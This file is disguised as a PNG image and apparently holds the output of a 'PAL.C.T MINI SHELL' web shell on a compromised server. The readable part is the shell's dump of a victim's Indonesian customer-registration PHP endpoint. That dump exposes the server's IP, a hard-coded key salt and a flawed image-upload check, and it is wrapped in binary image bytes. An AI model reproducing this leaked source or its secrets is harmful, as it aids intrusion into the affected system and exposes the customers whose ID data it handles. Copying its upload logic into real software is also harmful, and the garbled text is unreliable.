php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/FTFL/mobile/
upload
files >> //var/www/html/FTFL/mobile/customerbaru.php

<?php 

    require('inc/konekmobile.php');
    require('inc/fungsi_tanggal.php');

    $myObj = new stdClass();

    $kunci = $_POST['kunci'];
    $uuid_staff = $_POST['uuid_staff'];
    //pemilik
    $nama_pemilik = $_POST['nama_pemilik'];
    $no_ktp = $_POST['no_ktp'];
    $alamat_pemilik = $_POST['alamat_pemilik'];
    $kota_pemilik = $_POST['kota_pemilik'];
    $area_pemilik = $_POST['area_pemilik'];
    $phone_pemilik = $_POST['phone_pemilik'];
    $email_pemilik = $_POST['email_pemilik'];
    $wa_pemilik = $_POST['wa_pemilik'];
    //toko
    $kode_toko = $_POST['kode'];
    $long_toko = $_POST['long_toko'];
    $lat_toko = $_POST['lat_toko'];
    $nama_toko = $_POST['nama_toko'];
    $alamat_toko = $_POST['alamat_toko'];
    $kota_toko = $_POST['kota_toko'];
    $area_toko = $_POST['area_toko'];
    $phone_toko = $_POST['phone_toko'];
    $email_toko = $_POST['email_toko'];
    $wa_toko = $_POST['wa_toko'];
    $staff_toko = $_POST['staff_toko'];
    $detail_toko = $_POST['detail_toko'];
    //other
    $jenis = $_POST['jenis'];
    $uuid_customer = buatUUID();
    $tgl_daftar = date("Y-m-d");
    $titik_lokasi = $lat_toko.",".$long_toko;
    $pagu=0;
    $status='HOLD';

    //sementara
    //$kode_toko = mt_rand(10000,99999);
    //$nama_image = $_POST['nama_image']; //$ean_sku+_+$kode_stok+_+YmdHis+.jpg
    $nama_image_ktp = "ktp_".$kode_toko."_".date('YmdHis').".JPEG";
    $nama_image_toko1 = "toko1_".$kode_toko."_".date('YmdHis').".JPEG";
    $nama_image_toko2 = "toko2_".$kode_toko."_".date('YmdHis').".JPEG";

    //input android log
    $waktu = date('Y-m-d H:i:s');
    $data_post = $kunci."||".$uuid_staff."||".$uuid_customer."||".$kode_toko."||".$nama_pemilik."||".$no_ktp."||".$alamat_pemilik."||".$kota_pemilik."||".$area_pemilik."||".$phone_pemilik."||".$email_pemilik."||".$wa_pemilik."||".$long_toko."||".$lat_toko."||".$nama_toko."||".$alamat_toko."||".$kota_toko."||".$area_toko."||".$phone_toko."||".$email_toko."||".$wa_toko."||".$staff_toko."||".$detail_toko."||".$pagu."||".$status."||".$jenis;
    $tentang = 'customerbaru.php';
    $insertLog = $r->prepare("INSERT INTO android_post SET uuid_member=?, waktu=?, data_post=?, tentang=? ");
    $insertLog->bind_param('ssss',$uuid_staff,$waktu,$data_post,$tentang);
    $insertLog->execute();

    //if ($kunci != 'eFTeeFeL') {
    if ($kunci != md5('eFTeeFeL'.$uuid_staff.$nama_pemilik.$nama_toko)) {
        $myObj->status = 'gagal';
        $myObj->subject = 'aplikasi tidak dikenal.';
        $myObj->result = '';
        echo json_encode(array($myObj));
        exit();
    }

    $kode_toko = strtoupper($kode_toko);
    //$nama_image = $_POST['nama_image']; //$ean_sku+_+$kode_stok+_+YmdHis+.jpg
    $nama_image_ktp = "ktp_".$kode_toko."_".date('YmdHis').".JPEG";
    $nama_image_toko1 = "toko1_".$kode_toko."_".date('YmdHis').".JPEG";
    $nama_image_toko2 = "toko2_".$kode_toko."_".date('YmdHis').".JPEG";

    //cek kode toko
    $cekKode = $r->prepare("SELECT id_customer FROM db_customer WHERE kode_customer=?");
    $cekKode->bind_param("s",$kode_toko);
    $cekKode->execute();
    $resKode = $cekKode->get_result();
    $adaKode = $resKode->num_rows;
    if ($adaKode>0) {
        $myObj->status = 'gagal';
        $myObj->subject = 'Kode telah terdaftar ke customer lain.';
        $myObj->result = '';
        echo json_encode(array($myObj));
        exit();
    }

    $jenis = $jenis."##";
    $jenis = str_replace("|##","",$jenis);
    //$stmtInsertCustomer = "INSERT INTO `db_customer`(`uuid_customer`, `kode_customer`, `tgl_daftar`, `nama_pemilik`, `no_ktp`, `alamat_pemilik`, `kota_pemilik`, `area_pemilik`, `phone_pemilik`, `email_pemilik`, `wa_pemilik`, `foto_ktp`, `nama_toko`, `alamat_toko`, `area_toko`, `kota_toko`, `titik_lokasi`, `phone_toko`, `email_toko`, `wa_toko`, `staff_toko`, `detail_toko`, `foto_toko1`, `foto_toko2`,`uuid_staff_input`, `pagu_total`, `status`, `jenis`) VALUES ($uuid_customer,$kode_toko,$tgl_daftar,$nama_pemilik,$no_ktp,$alamat_pemilik,$kota_pemilik,$area_pemilik,$phone_pemilik,$email_pemilik,$wa_pemilik,$nama_image_ktp,$nama_toko,$alamat_toko,$area_toko,$kota_toko,$titik_lokasi,$phone_toko,$email_toko,$wa_toko,$staff_toko,$detail_toko,$nama_image_toko1,$nama_image_toko2,$uuid_staff,$pagu,$status,$jenis)";
    $insertCustomer = $r->prepare("INSERT INTO `db_customer`(`uuid_customer`, `kode_customer`, `tgl_daftar`, `nama_pemilik`, `no_ktp`, `alamat_pemilik`, `kota_pemilik`, `area_pemilik`, `phone_pemilik`, `email_pemilik`, `wa_pemilik`, `foto_ktp`, `nama_toko`, `alamat_toko`, `area_toko`, `kota_toko`, `titik_lokasi`, `phone_toko`, `email_toko`, `wa_toko`, `staff_toko`, `detail_toko`, `foto_toko1`, `foto_toko2`,`uuid_staff_input`, `pagu_total`, `status`, `jenis`) VALUES 
    	(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)");
    $insertCustomer->bind_param('sssssssssssssssssssssssssiss',$uuid_customer,$kode_toko,$tgl_daftar,$nama_pemilik,$no_ktp,$alamat_pemilik,$kota_pemilik,$area_pemilik,$phone_pemilik,$email_pemilik,$wa_pemilik,$nama_image_ktp,$nama_toko,$alamat_toko,$area_toko,$kota_toko,$titik_lokasi,$phone_toko,$email_toko,$wa_toko,$staff_toko,$detail_toko,$nama_image_toko1,$nama_image_toko2,$uuid_staff,$pagu,$status,$jenis);
    $insertCustomer->execute();

    $catatan = 'Customer baru';
    $insertCatatan = $r->prepare("INSERT INTO `db_cust_catatan`(`tgl_catat`, `uuid_staff`, `catatan`, `uuid_customer`, `status`) VALUES (?,?,?,?,?)");
    $insertCatatan->bind_param('sssss',$tgl_daftar,$uuid_staff,$catatan,$uuid_customer,$status);
    $insertCatatan->execute();
   
   
    //this is our upload folder 
    $upload_path = 'uploads/';

    //creating the upload url 
    $upload_url = 'http://206.189.152.149/FTFL/mobile/'.$upload_path; 

        $response = array(); 
        
        if($_SERVER['REQUEST_METHOD']=='POST'){
            
            //checking the required parameters from the request 
            if(isset($_FILES['image1']['name']) OR isset($_FILES['image2']['name']) OR isset($_FILES['image3']['name'])) {

                $extension1 = 'KSG';
                $extension2 = 'KSG';
                $extension3 = 'KSG';

                if (isset($_FILES['image1']['name'])) {
                    $image_info1 = pathinfo($_FILES['image1']['name']);
                    $extension1 = $image_info1['extension'];
                }

                if (isset($_FILES['image2']['name'])) {
                    $image_info2 = pathinfo($_FILES['image2']['name']);
                    $extension3 = $image_info2['extension'];
                }

                if (isset($_FILES['image3']['name'])) {
                    $image_info3 = pathinfo($_FILES['image3']['name']);
                    $extension3 = $image_info3['extension'];
                }
                
                if (($extension1=='jpeg' OR $extension1=='JPEG' OR $extension1=='jpg' OR $extension1=='JPG' OR $extension1=='png' OR $extension1=='PNG' OR $extension1=='pdf' OR $extension1=='KSG') AND  ($extension2=='jpeg' OR $extension2=='JPEG' OR $extension2=='jpg' OR $extension2=='JPG' OR $extension2=='png' OR $extension2=='PNG' OR $extension2=='pdf' OR $extension2=='KSG') AND ($extension3=='jpeg' OR $extension3=='JPEG' OR $extension3=='jpg' OR $extension3=='JPG' OR $extension3=='png' OR $extension3=='PNG' OR $extension3=='pdf' OR $extension3=='KSG')) {

                    
                    //file path to upload in the server 
                    $file_path1 = $upload_path.$nama_image_ktp; 
                    $file_url1 = $upload_url.$nama_image_ktp;
                    $response['error1']=false;
                    $response['message1']=$file_path1;
                    
                    //trying to save the file in the directory 
                    try{
                        //saving the file 
                        move_uploaded_file($_FILES['image1']['tmp_name'],$file_path1);

                    //if some error occurred 
                    }

                    catch(Exception $e){
                        $response['error1']=true;
                        $response['message1']=$e->getMessage();
                    } 

                    $file_path2 = $upload_path.$nama_image_toko1; 
                    $file_url2 = $upload_url.$nama_image_toko1;
                    $response['error2']=false;
                    $response['message2']=$file_path2;
                    
                    //trying to save the file in the directory 
                    try{
                        //saving the file 
                      move_uploaded_file($_FILES['image2']['tmp_name'],$file_path2);

                    //if some error occurred 
                    }

                    catch(Exception $e){
                        $response['error2']=true;
                        $response['message2']=$e->getMessage();
                    } 

                    $file_path3 = $upload_path.$nama_image_toko2; 
                    $file_url3 = $upload_url.$nama_image_toko2;
                    $response['error3']=false;
                    $response['message3']=$file_path3;
                    
                    //trying to save the file in the directory 
                    try{
                        //saving the file 
                      move_uploaded_file($_FILES['image3']['tmp_name'],$file_path3);

                    //if some error occurred 
                    }

                    catch(Exception $e){
                        $response['error3']=true;
                        $response['message3']=$e->getMessage();
                    } 

                    //$response['error'] = $response['error1']."||".$response['error2']."||".$response['error3'];
                    //$response['message']= $response['message1']."||".$response['message2']."||".$response['message3'];

                    $response['error']=false;
                    $response['message']='sukses.';

                } else {
                    $response['error']=true;
                    $response['message']='Invalid file. File diterima hanya JPG dan PNG.';
                }
            }else{
                $response['error']=true;
                $response['message']='Please choose a file';
            }
        } else {
            $response['error']=true;
            $response['message']='Wrong method';
        }
	

    $myObj->status = 'sukses';
    $myObj->subject = 'Customer baru telah terinput. Status masih HOLD. Hub. Admin untuk NORMALkan.';
    //$myObj->result = $response['message'];
    $myObj->result = '';
    echo json_encode(array($myObj));

    exit();

?>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`